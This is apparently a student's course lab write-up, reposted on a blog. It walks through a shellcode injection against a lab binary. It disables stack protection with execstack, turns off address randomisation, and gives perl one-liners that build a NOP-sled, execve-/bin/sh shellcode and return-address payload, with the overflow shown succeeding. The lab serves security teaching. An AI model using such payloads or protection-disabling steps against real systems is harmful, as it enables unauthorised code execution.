20155307《网络对抗》PC平台逆向破解(二)

本文介绍如何使用shellcode进行注入攻击,包括安装配置工具execstack、关闭地址随机化、准备及运行shellcode等内容。

20155307《网络对抗》PC平台逆向破解(二)

shellcode注入

  • 什么是shellcode?
    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

  • 前期准备——安装execstack,修改设置

  • 输入execstackapt-get install execstack下载exectstack
    设置堆栈可执行execstack -s pwn20155307
    看看堆栈是否可执行execstack -q pwn20155307

  • 输入more /proc/sys/kernel/randomize_va_space,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化
    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    1074394-20180318115302871-1973687591.jpg
  • 准备完毕,开始运行并gdb调试

    输入shellcode的内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155307,输入命令(cat input_shellcode;cat) | ./pwn20155307
    1074394-20180318115450231-714292583.jpg

  • 通过设置断点,来查看注入buf的内存地址
    1074394-20180318121014176-641557964.jpg
    知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155307
    1074394-20180318121025182-677976202.jpg
    发现成功修改

转载于:https://www.cnblogs.com/zhuanyedajiesanshinian/p/8594931.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值